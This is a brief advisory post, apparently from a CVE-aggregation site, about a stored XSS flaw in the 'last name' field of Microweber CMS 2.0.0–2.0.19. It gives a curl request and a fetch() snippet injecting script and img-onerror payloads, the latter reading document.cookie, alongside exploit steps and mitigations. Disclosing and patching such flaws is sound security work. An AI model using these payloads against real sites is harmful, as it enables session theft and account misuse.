Listen to this Post
Microweber CMS versions 2.0.0 through 2.0.19 are vulnerable to a stored Cross-Site Scripting (XSS) attack in the `/projects/profile` homepage endpoint. The vulnerability arises due to insufficient input sanitization in the “last name” field, allowing attackers to inject malicious JavaScript code. When a victim visits the compromised profile page, the script executes in their browser, potentially leading to session hijacking, defacement, or unauthorized actions. The attack requires minimal user interaction, as the payload persists in the database and triggers upon page load.
DailyCVE Form
Platform: Microweber CMS
Version: 2.0.0 – 2.0.19
Vulnerability: Stored XSS
Severity: Moderate
Date: Aug 1, 2025
Prediction: Patch by Sep 2025
What Undercode Say
curl -X POST http://<target>/projects/profile -d "lastname=<script>alert(1)</script>"
fetch('/projects/profile', {
method: 'POST',
body: 'lastname=<img src=x onerror=alert(document.cookie)>'
});
How Exploit
- Attacker submits malicious script in “last name” field.
2. Payload saves to database.
3. Victim views profile, triggering XSS.
Protection from this CVE
- Sanitize user input.
- Implement CSP headers.
- Upgrade when patch released.
Impact
- Session theft.
- Unauthorized actions.
- Website defacement.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
